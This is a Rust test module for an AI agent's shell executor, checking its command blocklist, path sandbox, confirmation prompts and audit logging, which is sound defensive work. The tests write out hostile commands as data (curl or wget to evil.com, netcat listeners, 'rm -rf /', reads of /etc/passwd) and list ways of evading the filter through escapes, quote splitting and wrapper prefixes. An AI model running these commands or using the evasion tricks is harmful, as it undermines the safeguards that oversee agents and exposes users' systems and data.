1018            Duration::from_secs(30),
1019            None,
1020            None,
1021            None,
1022        )
1023        .await;
1024        assert!(result.contains("out"));
1025        assert!(result.contains("[stderr]"));
1026        assert!(result.contains("err"));
1027        assert!(result.contains('\n'));
1028    }
1029
1030    #[tokio::test]
1031    #[cfg(not(target_os = "windows"))]
1032    async fn execute_empty_output() {
1033        let (result, code) = execute_bash("true", Duration::from_secs(30), None, None, None).await;
1034        assert_eq!(result, "(no output)");
1035        assert_eq!(code, 0);
1036    }
1037
1038    #[tokio::test]
1039    async fn blocked_command_rejected() {
1040        let config = ShellConfig {
1041            blocked_commands: vec!["rm -rf /".to_owned()],
1042            ..default_config()
1043        };
1044        let executor = ShellExecutor::new(&config);
1045        let response = "Run:\n```bash\nrm -rf /\n```";
1046        let result = executor.execute(response).await;
1047        assert!(matches!(result, Err(ToolError::Blocked { .. })));
1048    }
1049
1050    #[tokio::test]
1051    #[cfg(not(target_os = "windows"))]
1052    async fn timeout_enforced() {
1053        let config = ShellConfig {
1054            timeout: 1,
1055            ..default_config()
1056        };
1057        let executor = ShellExecutor::new(&config);
1058        let response = "Run:\n```bash\nsleep 60\n```";
1059        let result = executor.execute(response).await;
1060        assert!(matches!(
1061            result,
1062            Err(ToolError::Timeout { timeout_secs: 1 })
1063        ));
1064    }
1065
1066    #[tokio::test]
1067    #[cfg(not(target_os = "windows"))]
1068    async fn timeout_logged_as_audit_timeout_not_error() {
1069        use crate::audit::AuditLogger;
1070        use crate::config::AuditConfig;
1071        let dir = tempfile::tempdir().unwrap();
1072        let log_path = dir.path().join("audit.log");
1073        let audit_config = AuditConfig {
1074            enabled: true,
1075            destination: log_path.display().to_string(),
1076        };
1077        let logger = std::sync::Arc::new(AuditLogger::from_config(&audit_config).await.unwrap());
1078        let config = ShellConfig {
1079            timeout: 1,
1080            ..default_config()
1081        };
1082        let executor = ShellExecutor::new(&config).with_audit(logger);
1083        let _ = executor.execute("```bash\nsleep 60\n```").await;
1084        let content = tokio::fs::read_to_string(&log_path).await.unwrap();
1085        assert!(
1086            content.contains("\"type\":\"timeout\""),
1087            "expected AuditResult::Timeout, got: {content}"
1088        );
1089        assert!(
1090            !content.contains("\"type\":\"error\""),
1091            "timeout must not be logged as error: {content}"
1092        );
1093    }
1094
1095    #[tokio::test]
1096    #[cfg(not(target_os = "windows"))]
1097    async fn stderr_output_logged_as_audit_error() {
1098        use crate::audit::AuditLogger;
1099        use crate::config::AuditConfig;
1100        let dir = tempfile::tempdir().unwrap();
1101        let log_path = dir.path().join("audit.log");
1102        let audit_config = AuditConfig {
1103            enabled: true,
1104            destination: log_path.display().to_string(),
1105        };
1106        let logger = std::sync::Arc::new(AuditLogger::from_config(&audit_config).await.unwrap());
1107        let executor = ShellExecutor::new(&default_config()).with_audit(logger);
1108        let _ = executor.execute("```bash\necho err >&2\n```").await;
1109        let content = tokio::fs::read_to_string(&log_path).await.unwrap();
1110        assert!(
1111            content.contains("\"type\":\"error\""),
1112            "expected AuditResult::Error for [stderr] output, got: {content}"
1113        );
1114    }
1115
1116    #[tokio::test]
1117    async fn execute_no_blocks_returns_none() {
1118        let executor = ShellExecutor::new(&default_config());
1119        let result = executor.execute("plain text, no blocks").await;
1120        assert!(result.is_ok());
1121        assert!(result.unwrap().is_none());
1122    }
1123
1124    #[tokio::test]
1125    async fn execute_multiple_blocks_counted() {
1126        let executor = ShellExecutor::new(&default_config());
1127        let response = "```bash\necho one\n```\n```bash\necho two\n```";
1128        let result = executor.execute(response).await;
1129        let output = result.unwrap().unwrap();
1130        assert_eq!(output.blocks_executed, 2);
1131        assert!(output.summary.contains("one"));
1132        assert!(output.summary.contains("two"));
1133    }
1134
1135    // --- command filtering tests ---
1136
1137    #[test]
1138    fn default_blocked_always_active() {
1139        let executor = ShellExecutor::new(&default_config());
1140        assert!(executor.find_blocked_command("rm -rf /").is_some());
1141        assert!(executor.find_blocked_command("sudo apt install").is_some());
1142        assert!(
1143            executor
1144                .find_blocked_command("mkfs.ext4 /dev/sda")
1145                .is_some()
1146        );
1147        assert!(
1148            executor
1149                .find_blocked_command("dd if=/dev/zero of=disk")
1150                .is_some()
1151        );
1152    }
1153
1154    #[test]
1155    fn user_blocked_additive() {
1156        let config = ShellConfig {
1157            blocked_commands: vec!["custom-danger".to_owned()],
1158            ..default_config()
1159        };
1160        let executor = ShellExecutor::new(&config);
1161        assert!(executor.find_blocked_command("sudo rm").is_some());
1162        assert!(
1163            executor
1164                .find_blocked_command("custom-danger script")
1165                .is_some()
1166        );
1167    }
1168
1169    #[test]
1170    fn blocked_prefix_match() {
1171        let executor = ShellExecutor::new(&default_config());
1172        assert!(executor.find_blocked_command("rm -rf /home/user").is_some());
1173    }
1174
1175    #[test]
1176    fn blocked_infix_match() {
1177        let executor = ShellExecutor::new(&default_config());
1178        assert!(
1179            executor
1180                .find_blocked_command("echo hello && sudo rm")
1181                .is_some()
1182        );
1183    }
1184
1185    #[test]
1186    fn blocked_case_insensitive() {
1187        let executor = ShellExecutor::new(&default_config());
1188        assert!(executor.find_blocked_command("SUDO apt install").is_some());
1189        assert!(executor.find_blocked_command("Sudo apt install").is_some());
1190        assert!(executor.find_blocked_command("SuDo apt install").is_some());
1191        assert!(
1192            executor
1193                .find_blocked_command("MKFS.ext4 /dev/sda")
1194                .is_some()
1195        );
1196        assert!(executor.find_blocked_command("DD IF=/dev/zero").is_some());
1197        assert!(executor.find_blocked_command("RM -RF /").is_some());
1198    }
1199
1200    #[test]
1201    fn safe_command_passes() {
1202        let executor = ShellExecutor::new(&default_config());
1203        assert!(executor.find_blocked_command("echo hello").is_none());
1204        assert!(executor.find_blocked_command("ls -la").is_none());
1205        assert!(executor.find_blocked_command("cat file.txt").is_none());
1206        assert!(executor.find_blocked_command("cargo build").is_none());
1207    }
1208
1209    #[test]
1210    fn partial_match_accepted_tradeoff() {
1211        let executor = ShellExecutor::new(&default_config());
1212        // "sudoku" is not the "sudo" command — word-boundary matching prevents false positive
1213        assert!(executor.find_blocked_command("sudoku").is_none());
1214    }
1215
1216    #[test]
1217    fn multiline_command_blocked() {
1218        let executor = ShellExecutor::new(&default_config());
1219        assert!(executor.find_blocked_command("echo ok\nsudo rm").is_some());
1220    }
1221
1222    #[test]
1223    fn dd_pattern_blocks_dd_if() {
1224        let executor = ShellExecutor::new(&default_config());
1225        assert!(
1226            executor
1227                .find_blocked_command("dd if=/dev/zero of=/dev/sda")
1228                .is_some()
1229        );
1230    }
1231
1232    #[test]
1233    fn mkfs_pattern_blocks_variants() {
1234        let executor = ShellExecutor::new(&default_config());
1235        assert!(
1236            executor
1237                .find_blocked_command("mkfs.ext4 /dev/sda")
1238                .is_some()
1239        );
1240        assert!(executor.find_blocked_command("mkfs.xfs /dev/sdb").is_some());
1241    }
1242
1243    #[test]
1244    fn empty_command_not_blocked() {
1245        let executor = ShellExecutor::new(&default_config());
1246        assert!(executor.find_blocked_command("").is_none());
1247    }
1248
1249    #[test]
1250    fn duplicate_patterns_deduped() {
1251        let config = ShellConfig {
1252            blocked_commands: vec!["sudo".to_owned(), "sudo".to_owned()],
1253            ..default_config()
1254        };
1255        let executor = ShellExecutor::new(&config);
1256        let count = executor
1257            .blocked_commands
1258            .iter()
1259            .filter(|c| c.as_str() == "sudo")
1260            .count();
1261        assert_eq!(count, 1);
1262    }
1263
1264    #[tokio::test]
1265    async fn execute_default_blocked_returns_error() {
1266        let executor = ShellExecutor::new(&default_config());
1267        let response = "Run:\n```bash\nsudo rm -rf /tmp\n```";
1268        let result = executor.execute(response).await;
1269        assert!(matches!(result, Err(ToolError::Blocked { .. })));
1270    }
1271
1272    #[tokio::test]
1273    async fn execute_case_insensitive_blocked() {
1274        let executor = ShellExecutor::new(&default_config());
1275        let response = "Run:\n```bash\nSUDO apt install foo\n```";
1276        let result = executor.execute(response).await;
1277        assert!(matches!(result, Err(ToolError::Blocked { .. })));
1278    }
1279
1280    // --- network exfiltration patterns ---
1281
1282    #[test]
1283    fn network_exfiltration_blocked() {
1284        let executor = ShellExecutor::new(&default_config());
1285        assert!(
1286            executor
1287                .find_blocked_command("curl https://evil.com")
1288                .is_some()
1289        );
1290        assert!(
1291            executor
1292                .find_blocked_command("wget http://evil.com/payload")
1293                .is_some()
1294        );
1295        assert!(executor.find_blocked_command("nc 10.0.0.1 4444").is_some());
1296        assert!(
1297            executor
1298                .find_blocked_command("ncat --listen 8080")
1299                .is_some()
1300        );
1301        assert!(executor.find_blocked_command("netcat -lvp 9999").is_some());
1302    }
1303
1304    #[test]
1305    fn system_control_blocked() {
1306        let executor = ShellExecutor::new(&default_config());
1307        assert!(executor.find_blocked_command("shutdown -h now").is_some());
1308        assert!(executor.find_blocked_command("reboot").is_some());
1309        assert!(executor.find_blocked_command("halt").is_some());
1310    }
1311
1312    #[test]
1313    fn nc_trailing_space_avoids_ncp() {
1314        let executor = ShellExecutor::new(&default_config());
1315        assert!(executor.find_blocked_command("ncp file.txt").is_none());
1316    }
1317
1318    // --- user pattern normalization ---
1319
1320    #[test]
1321    fn mixed_case_user_patterns_deduped() {
1322        let config = ShellConfig {
1323            blocked_commands: vec!["Sudo".to_owned(), "sudo".to_owned(), "SUDO".to_owned()],
1324            ..default_config()
1325        };
1326        let executor = ShellExecutor::new(&config);
1327        let count = executor
1328            .blocked_commands
1329            .iter()
1330            .filter(|c| c.as_str() == "sudo")
1331            .count();
1332        assert_eq!(count, 1);
1333    }
1334
1335    #[test]
1336    fn user_pattern_stored_lowercase() {
1337        let config = ShellConfig {
1338            blocked_commands: vec!["MyCustom".to_owned()],
1339            ..default_config()
1340        };
1341        let executor = ShellExecutor::new(&config);
1342        assert!(executor.blocked_commands.iter().any(|c| c == "mycustom"));
1343        assert!(!executor.blocked_commands.iter().any(|c| c == "MyCustom"));
1344    }
1345
1346    // --- allowed_commands tests ---
1347
1348    #[test]
1349    fn allowed_commands_removes_from_default() {
1350        let config = ShellConfig {
1351            allowed_commands: vec!["curl".to_owned()],
1352            ..default_config()
1353        };
1354        let executor = ShellExecutor::new(&config);
1355        assert!(
1356            executor
1357                .find_blocked_command("curl https://example.com")
1358                .is_none()
1359        );
1360        assert!(executor.find_blocked_command("sudo rm").is_some());
1361    }
1362
1363    #[test]
1364    fn allowed_commands_case_insensitive() {
1365        let config = ShellConfig {
1366            allowed_commands: vec!["CURL".to_owned()],
1367            ..default_config()
1368        };
1369        let executor = ShellExecutor::new(&config);
1370        assert!(
1371            executor
1372                .find_blocked_command("curl https://example.com")
1373                .is_none()
1374        );
1375    }
1376
1377    #[test]
1378    fn allowed_does_not_override_explicit_block() {
1379        let config = ShellConfig {
1380            blocked_commands: vec!["curl".to_owned()],
1381            allowed_commands: vec!["curl".to_owned()],
1382            ..default_config()
1383        };
1384        let executor = ShellExecutor::new(&config);
1385        assert!(
1386            executor
1387                .find_blocked_command("curl https://example.com")
1388                .is_some()
1389        );
1390    }
1391
1392    #[test]
1393    fn allowed_unknown_command_ignored() {
1394        let config = ShellConfig {
1395            allowed_commands: vec!["nonexistent-cmd".to_owned()],
1396            ..default_config()
1397        };
1398        let executor = ShellExecutor::new(&config);
1399        assert!(executor.find_blocked_command("sudo rm").is_some());
1400        assert!(
1401            executor
1402                .find_blocked_command("curl https://example.com")
1403                .is_some()
1404        );
1405    }
1406
1407    #[test]
1408    fn empty_allowed_commands_changes_nothing() {
1409        let executor = ShellExecutor::new(&default_config());
1410        assert!(
1411            executor
1412                .find_blocked_command("curl https://example.com")
1413                .is_some()
1414        );
1415        assert!(executor.find_blocked_command("sudo rm").is_some());
1416        assert!(
1417            executor
1418                .find_blocked_command("wget http://evil.com")
1419                .is_some()
1420        );
1421    }
1422
1423    // --- Phase 1: sandbox tests ---
1424
1425    #[test]
1426    fn extract_paths_from_code() {
1427        let paths = extract_paths("cat /etc/passwd && ls /var/log");
1428        assert_eq!(paths, vec!["/etc/passwd".to_owned(), "/var/log".to_owned()]);
1429    }
1430
1431    #[test]
1432    fn extract_paths_handles_trailing_chars() {
1433        let paths = extract_paths("cat /etc/passwd; echo /var/log|");
1434        assert_eq!(paths, vec!["/etc/passwd".to_owned(), "/var/log".to_owned()]);
1435    }
1436
1437    #[test]
1438    fn extract_paths_detects_relative() {
1439        let paths = extract_paths("cat ./file.txt ../other");
1440        assert_eq!(paths, vec!["./file.txt".to_owned(), "../other".to_owned()]);
1441    }
1442
1443    #[test]
1444    fn sandbox_allows_cwd_by_default() {
1445        let executor = ShellExecutor::new(&default_config());
1446        let cwd = std::env::current_dir().unwrap();
1447        let cwd_path = cwd.display().to_string();
1448        let code = format!("cat {cwd_path}/file.txt");
1449        assert!(executor.validate_sandbox(&code).is_ok());
1450    }
1451
1452    #[test]
1453    fn sandbox_rejects_path_outside_allowed() {
1454        let config = sandbox_config(vec!["/tmp/test-sandbox".into()]);
1455        let executor = ShellExecutor::new(&config);
1456        let result = executor.validate_sandbox("cat /etc/passwd");
1457        assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1458    }
1459
1460    #[test]
1461    fn sandbox_no_absolute_paths_passes() {
1462        let config = sandbox_config(vec!["/tmp".into()]);
1463        let executor = ShellExecutor::new(&config);
1464        assert!(executor.validate_sandbox("echo hello").is_ok());
1465    }
1466
1467    #[test]
1468    fn sandbox_rejects_dotdot_traversal() {
1469        let config = sandbox_config(vec!["/tmp/sandbox".into()]);
1470        let executor = ShellExecutor::new(&config);
1471        let result = executor.validate_sandbox("cat ../../../etc/passwd");
1472        assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1473    }
1474
1475    #[test]
1476    fn sandbox_rejects_bare_dotdot() {
1477        let config = sandbox_config(vec!["/tmp/sandbox".into()]);
1478        let executor = ShellExecutor::new(&config);
1479        let result = executor.validate_sandbox("cd ..");
1480        assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1481    }
1482
1483    #[test]
1484    fn sandbox_rejects_relative_dotslash_outside() {
1485        let config = sandbox_config(vec!["/nonexistent/sandbox".into()]);
1486        let executor = ShellExecutor::new(&config);
1487        let result = executor.validate_sandbox("cat ./secret.txt");
1488        assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1489    }
1490
1491    #[test]
1492    fn sandbox_rejects_absolute_with_embedded_dotdot() {
1493        let config = sandbox_config(vec!["/tmp/sandbox".into()]);
1494        let executor = ShellExecutor::new(&config);
1495        let result = executor.validate_sandbox("cat /tmp/sandbox/../../../etc/passwd");
1496        assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1497    }
1498
1499    #[test]
1500    fn has_traversal_detects_dotdot() {
1501        assert!(has_traversal("../etc/passwd"));
1502        assert!(has_traversal("./foo/../bar"));
1503        assert!(has_traversal("/tmp/sandbox/../../etc"));
1504        assert!(has_traversal(".."));
1505        assert!(!has_traversal("./safe/path"));
1506        assert!(!has_traversal("/absolute/path"));
1507        assert!(!has_traversal("no-dots-here"));
1508    }
1509
1510    #[test]
1511    fn extract_paths_detects_dotdot_standalone() {
1512        let paths = extract_paths("cd ..");
1513        assert_eq!(paths, vec!["..".to_owned()]);
1514    }
1515
1516    // --- Phase 1: allow_network tests ---
1517
1518    #[test]
1519    fn allow_network_false_blocks_network_commands() {
1520        let config = ShellConfig {
1521            allow_network: false,
1522            ..default_config()
1523        };
1524        let executor = ShellExecutor::new(&config);
1525        assert!(
1526            executor
1527                .find_blocked_command("curl https://example.com")
1528                .is_some()
1529        );
1530        assert!(
1531            executor
1532                .find_blocked_command("wget http://example.com")
1533                .is_some()
1534        );
1535        assert!(executor.find_blocked_command("nc 10.0.0.1 4444").is_some());
1536    }
1537
1538    #[test]
1539    fn allow_network_true_keeps_default_behavior() {
1540        let config = ShellConfig {
1541            allow_network: true,
1542            ..default_config()
1543        };
1544        let executor = ShellExecutor::new(&config);
1545        // Network commands are still blocked by DEFAULT_BLOCKED
1546        assert!(
1547            executor
1548                .find_blocked_command("curl https://example.com")
1549                .is_some()
1550        );
1551    }
1552
1553    // --- Phase 2a: confirmation tests ---
1554
1555    #[test]
1556    fn find_confirm_command_matches_pattern() {
1557        let config = ShellConfig {
1558            confirm_patterns: vec!["rm ".into(), "git push -f".into()],
1559            ..default_config()
1560        };
1561        let executor = ShellExecutor::new(&config);
1562        assert_eq!(
1563            executor.find_confirm_command("rm /tmp/file.txt"),
1564            Some("rm ")
1565        );
1566        assert_eq!(
1567            executor.find_confirm_command("git push -f origin main"),
1568            Some("git push -f")
1569        );
1570    }
1571
1572    #[test]
1573    fn find_confirm_command_case_insensitive() {
1574        let config = ShellConfig {
1575            confirm_patterns: vec!["drop table".into()],
1576            ..default_config()
1577        };
1578        let executor = ShellExecutor::new(&config);
1579        assert!(executor.find_confirm_command("DROP TABLE users").is_some());
1580    }
1581
1582    #[test]
1583    fn find_confirm_command_no_match() {
1584        let config = ShellConfig {
1585            confirm_patterns: vec!["rm ".into()],
1586            ..default_config()
1587        };
1588        let executor = ShellExecutor::new(&config);
1589        assert!(executor.find_confirm_command("echo hello").is_none());
1590    }
1591
1592    #[tokio::test]
1593    async fn confirmation_required_returned() {
1594        let config = ShellConfig {
1595            confirm_patterns: vec!["rm ".into()],
1596            ..default_config()
1597        };
1598        let executor = ShellExecutor::new(&config);
1599        let response = "```bash\nrm file.txt\n```";
1600        let result = executor.execute(response).await;
1601        assert!(matches!(
1602            result,
1603            Err(ToolError::ConfirmationRequired { .. })
1604        ));
1605    }
1606
1607    #[tokio::test]
1608    async fn execute_confirmed_skips_confirmation() {
1609        let config = ShellConfig {
1610            confirm_patterns: vec!["echo".into()],
1611            ..default_config()
1612        };
1613        let executor = ShellExecutor::new(&config);
1614        let response = "```bash\necho confirmed\n```";
1615        let result = executor.execute_confirmed(response).await;
1616        assert!(result.is_ok());
1617        let output = result.unwrap().unwrap();
1618        assert!(output.summary.contains("confirmed"));
1619    }
1620
1621    // --- default confirm patterns test ---
1622
1623    #[test]
1624    fn default_confirm_patterns_loaded() {
1625        let config = ShellConfig::default();
1626        assert!(!config.confirm_patterns.is_empty());
1627        assert!(config.confirm_patterns.contains(&"rm ".to_owned()));
1628        assert!(config.confirm_patterns.contains(&"git push -f".to_owned()));
1629        assert!(config.confirm_patterns.contains(&"$(".to_owned()));
1630        assert!(config.confirm_patterns.contains(&"`".to_owned()));
1631    }
1632
1633    // --- bypass-resistant matching tests ---
1634
1635    #[test]
1636    fn backslash_bypass_blocked() {
1637        let executor = ShellExecutor::new(&default_config());
1638        // su\do -> sudo after stripping backslash
1639        assert!(executor.find_blocked_command("su\\do rm").is_some());
1640    }
1641
1642    #[test]
1643    fn hex_escape_bypass_blocked() {
1644        let executor = ShellExecutor::new(&default_config());
1645        // $'\x73\x75\x64\x6f' -> sudo
1646        assert!(
1647            executor
1648                .find_blocked_command("$'\\x73\\x75\\x64\\x6f' rm")
1649                .is_some()
1650        );
1651    }
1652
1653    #[test]
1654    fn quote_split_bypass_blocked() {
1655        let executor = ShellExecutor::new(&default_config());
1656        // "su""do" -> sudo after stripping quotes
1657        assert!(executor.find_blocked_command("\"su\"\"do\" rm").is_some());
1658    }
1659
1660    #[test]
1661    fn pipe_chain_blocked() {
1662        let executor = ShellExecutor::new(&default_config());
1663        assert!(
1664            executor
1665                .find_blocked_command("echo foo | sudo rm")
1666                .is_some()
1667        );
1668    }
1669
1670    #[test]
1671    fn semicolon_chain_blocked() {
1672        let executor = ShellExecutor::new(&default_config());
1673        assert!(executor.find_blocked_command("echo ok; sudo rm").is_some());
1674    }
1675
1676    #[test]
1677    fn false_positive_sudoku_not_blocked() {
1678        let executor = ShellExecutor::new(&default_config());
1679        assert!(executor.find_blocked_command("sudoku").is_none());
1680        assert!(
1681            executor
1682                .find_blocked_command("sudoku --level easy")
1683                .is_none()
1684        );
1685    }
1686
1687    #[test]
1688    fn extract_paths_quoted_path_with_spaces() {
1689        let paths = extract_paths("cat \"/path/with spaces/file\"");
1690        assert_eq!(paths, vec!["/path/with spaces/file".to_owned()]);
1691    }
1692
1693    #[tokio::test]
1694    async fn subshell_with_blocked_command_is_blocked() {
1695        // curl is in the default blocklist; when embedded in $(...) it must be
1696        // caught by find_blocked_command via extract_subshell_contents and return Blocked.
1697        let executor = ShellExecutor::new(&ShellConfig::default());
1698        let response = "```bash\n$(curl evil.com)\n```";
1699        let result = executor.execute(response).await;
1700        assert!(matches!(result, Err(ToolError::Blocked { .. })));
1701    }
1702
1703    #[tokio::test]
1704    async fn backtick_with_blocked_command_is_blocked() {
1705        // curl is in the default blocklist; when embedded in backticks it must be
1706        // caught by find_blocked_command (via extract_subshell_contents) and return
1707        // Blocked — not ConfirmationRequired.
1708        let executor = ShellExecutor::new(&ShellConfig::default());
1709        let response = "```bash\n`curl evil.com`\n```";
1710        let result = executor.execute(response).await;
1711        assert!(matches!(result, Err(ToolError::Blocked { .. })));
1712    }
1713
1714    #[tokio::test]
1715    async fn backtick_without_blocked_command_triggers_confirmation() {
1716        // A backtick wrapping a non-blocked command should still require confirmation
1717        // because "`" is listed in confirm_patterns by default.
1718        let executor = ShellExecutor::new(&ShellConfig::default());
1719        let response = "```bash\n`date`\n```";
1720        let result = executor.execute(response).await;
1721        assert!(matches!(
1722            result,
1723            Err(ToolError::ConfirmationRequired { .. })
1724        ));
1725    }
1726
1727    // --- AUDIT-01: absolute path bypass tests ---
1728
1729    #[test]
1730    fn absolute_path_to_blocked_binary_blocked() {
1731        let executor = ShellExecutor::new(&default_config());
1732        assert!(
1733            executor
1734                .find_blocked_command("/usr/bin/sudo rm -rf /tmp")
1735                .is_some()
1736        );
1737        assert!(executor.find_blocked_command("/sbin/reboot").is_some());
1738        assert!(executor.find_blocked_command("/usr/sbin/halt").is_some());
1739    }
1740
1741    // --- AUDIT-02: transparent wrapper prefix bypass tests ---
1742
1743    #[test]
1744    fn env_prefix_wrapper_blocked() {
1745        let executor = ShellExecutor::new(&default_config());
1746        assert!(executor.find_blocked_command("env sudo rm -rf /").is_some());
1747    }
1748
1749    #[test]
1750    fn command_prefix_wrapper_blocked() {
1751        let executor = ShellExecutor::new(&default_config());
1752        assert!(
1753            executor
1754                .find_blocked_command("command sudo rm -rf /")
1755                .is_some()
1756        );
1757    }
1758
1759    #[test]
1760    fn exec_prefix_wrapper_blocked() {
1761        let executor = ShellExecutor::new(&default_config());
1762        assert!(executor.find_blocked_command("exec sudo rm").is_some());
1763    }
1764
1765    #[test]
1766    fn nohup_prefix_wrapper_blocked() {
1767        let executor = ShellExecutor::new(&default_config());
1768        assert!(executor.find_blocked_command("nohup reboot now").is_some());
1769    }
1770
1771    #[test]
1772    fn absolute_path_via_env_wrapper_blocked() {
1773        let executor = ShellExecutor::new(&default_config());
1774        assert!(
1775            executor
1776                .find_blocked_command("env /usr/bin/sudo rm -rf /")
1777                .is_some()
1778        );
1779    }
1780
1781    // --- AUDIT-03: octal escape bypass tests ---
1782
1783    #[test]
1784    fn octal_escape_bypass_blocked() {
1785        let executor = ShellExecutor::new(&default_config());
1786        // $'\163\165\144\157' = sudo in octal
1787        assert!(
1788            executor
1789                .find_blocked_command("$'\\163\\165\\144\\157' rm")
1790                .is_some()
1791        );
1792    }
1793
1794    #[tokio::test]
1795    async fn with_audit_attaches_logger() {
1796        use crate::audit::AuditLogger;
1797        use crate::config::AuditConfig;
1798        let config = default_config();
1799        let executor = ShellExecutor::new(&config);
1800        let audit_config = AuditConfig {
1801            enabled: true,
1802            destination: "stdout".into(),
1803        };
1804        let logger = std::sync::Arc::new(AuditLogger::from_config(&audit_config).await.unwrap());
1805        let executor = executor.with_audit(logger);
1806        assert!(executor.audit_logger.is_some());
1807    }
1808
1809    #[test]
1810    fn chrono_now_returns_valid_timestamp() {
1811        let ts = chrono_now();
1812        assert!(!ts.is_empty());
1813        let parsed: u64 = ts.parse().unwrap();
1814        assert!(parsed > 0);
1815    }
1816
1817    #[cfg(unix)]
1818    #[tokio::test]
1819    async fn execute_bash_injects_extra_env() {
1820        let mut env = std::collections::HashMap::new();
1821        env.insert(
1822            "ZEPH_TEST_INJECTED_VAR".to_owned(),
1823            "hello-from-env".to_owned(),
1824        );
1825        let (result, code) = execute_bash(
1826            "echo $ZEPH_TEST_INJECTED_VAR",
1827            Duration::from_secs(5),
1828            None,
1829            None,
1830            Some(&env),
1831        )
1832        .await;
1833        assert_eq!(code, 0);
1834        assert!(result.contains("hello-from-env"));
1835    }
1836
1837    #[cfg(unix)]
1838    #[tokio::test]
1839    async fn shell_executor_set_skill_env_injects_vars() {
1840        let config = ShellConfig {
1841            timeout: 5,
1842            allowed_commands: vec![],
1843            blocked_commands: vec![],
1844            allowed_paths: vec![],
1845            confirm_patterns: vec![],
1846            allow_network: false,
1847        };
1848        let executor = ShellExecutor::new(&config);
1849        let mut env = std::collections::HashMap::new();
1850        env.insert("MY_SKILL_SECRET".to_owned(), "injected-value".to_owned());
1851        executor.set_skill_env(Some(env));
1852        use crate::executor::ToolExecutor;
1853        let result = executor
1854            .execute("```bash\necho $MY_SKILL_SECRET\n```")
1855            .await
1856            .unwrap()
1857            .unwrap();
1858        assert!(result.summary.contains("injected-value"));
1859        executor.set_skill_env(None);
1860    }
1861
1862    #[cfg(unix)]
1863    #[tokio::test]
1864    async fn execute_bash_error_handling() {
1865        let (result, code) = execute_bash("false", Duration::from_secs(5), None, None, None).await;
1866        assert_eq!(result, "(no output)");
1867        assert_eq!(code, 1);
1868    }
1869
1870    #[cfg(unix)]
1871    #[tokio::test]
1872    async fn execute_bash_command_not_found() {
1873        let (result, _) = execute_bash(
1874            "nonexistent-command-xyz",
1875            Duration::from_secs(5),
1876            None,
1877            None,
1878            None,
1879        )
1880        .await;
1881        assert!(result.contains("[stderr]") || result.contains("[error]"));
1882    }
1883
1884    #[test]
1885    fn extract_paths_empty() {
1886        assert!(extract_paths("").is_empty());
1887    }
1888
1889    #[tokio::test]
1890    async fn policy_deny_blocks_command() {
1891        let policy = PermissionPolicy::from_legacy(&["forbidden".to_owned()], &[]);
1892        let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
1893        let response = "```bash\nforbidden command\n```";
1894        let result = executor.execute(response).await;
1895        assert!(matches!(result, Err(ToolError::Blocked { .. })));
1896    }
1897
1898    #[tokio::test]
1899    async fn policy_ask_requires_confirmation() {
1900        let policy = PermissionPolicy::from_legacy(&[], &["risky".to_owned()]);
1901        let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
1902        let response = "```bash\nrisky operation\n```";
1903        let result = executor.execute(response).await;
1904        assert!(matches!(
1905            result,
1906            Err(ToolError::ConfirmationRequired { .. })
1907        ));
1908    }
1909
1910    #[tokio::test]
1911    async fn policy_allow_skips_checks() {
1912        use crate::permissions::PermissionRule;
1913        use std::collections::HashMap;
1914        let mut rules = HashMap::new();
1915        rules.insert(
1916            "bash".to_owned(),
1917            vec![PermissionRule {
1918                pattern: "*".to_owned(),
1919                action: PermissionAction::Allow,
1920            }],
1921        );
1922        let policy = PermissionPolicy::new(rules);
1923        let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
1924        let response = "```bash\necho hello\n```";
1925        let result = executor.execute(response).await;
1926        assert!(result.is_ok());
1927    }
1928
1929    #[tokio::test]
1930    async fn blocked_command_logged_to_audit() {
1931        use crate::audit::AuditLogger;
1932        use crate::config::AuditConfig;
1933        let config = ShellConfig {
1934            blocked_commands: vec!["dangerous".to_owned()],
1935            ..default_config()
1936        };
1937        let audit_config = AuditConfig {
1938            enabled: true,
1939            destination: "stdout".into(),
1940        };
1941        let logger = std::sync::Arc::new(AuditLogger::from_config(&audit_config).await.unwrap());
1942        let executor = ShellExecutor::new(&config).with_audit(logger);
1943        let response = "```bash\ndangerous command\n```";
1944        let result = executor.execute(response).await;
1945        assert!(matches!(result, Err(ToolError::Blocked { .. })));
1946    }
1947
1948    #[test]
1949    fn tool_definitions_returns_bash() {
1950        let executor = ShellExecutor::new(&default_config());
1951        let defs = executor.tool_definitions();
1952        assert_eq!(defs.len(), 1);
1953        assert_eq!(defs[0].id, "bash");
1954        assert_eq!(
1955            defs[0].invocation,
1956            crate::registry::InvocationHint::FencedBlock("bash")
1957        );
1958    }
1959
1960    #[test]
1961    fn tool_definitions_schema_has_command_param() {
1962        let executor = ShellExecutor::new(&default_config());
1963        let defs = executor.tool_definitions();
1964        let obj = defs[0].schema.as_object().unwrap();
1965        let props = obj["properties"].as_object().unwrap();
1966        assert!(props.contains_key("command"));
1967        let req = obj["required"].as_array().unwrap();
1968        assert!(req.iter().any(|v| v.as_str() == Some("command")));
1969    }
1970
1971    #[tokio::test]
1972    #[cfg(not(target_os = "windows"))]
1973    async fn cancel_token_kills_child_process() {
1974        let token = CancellationToken::new();
1975        let token_clone = token.clone();
1976        tokio::spawn(async move {
1977            tokio::time::sleep(Duration::from_millis(100)).await;
1978            token_clone.cancel();
1979        });
1980        let (result, code) = execute_bash(
1981            "sleep 60",
1982            Duration::from_secs(30),
1983            None,
1984            Some(&token),
1985            None,
1986        )
1987        .await;
1988        assert_eq!(code, 130);
1989        assert!(result.contains("[cancelled]"));
1990    }
1991
1992    #[tokio::test]
1993    #[cfg(not(target_os = "windows"))]
1994    async fn cancel_token_none_does_not_cancel() {
1995        let (result, code) =
1996            execute_bash("echo ok", Duration::from_secs(5), None, None, None).await;
1997        assert_eq!(code, 0);
1998        assert!(result.contains("ok"));
1999    }
2000
2001    #[tokio::test]
2002    #[cfg(not(target_os = "windows"))]
2003    async fn cancel_kills_child_process_group() {
2004        use std::path::Path;
2005        let marker = format!("/tmp/zeph-pgkill-test-{}", std::process::id());
2006        let script = format!("bash -c 'sleep 30 && touch {marker}' & sleep 60");
2007        let token = CancellationToken::new();
2008        let token_clone = token.clone();
2009        tokio::spawn(async move {
2010            tokio::time::sleep(Duration::from_millis(200)).await;
2011            token_clone.cancel();
2012        });
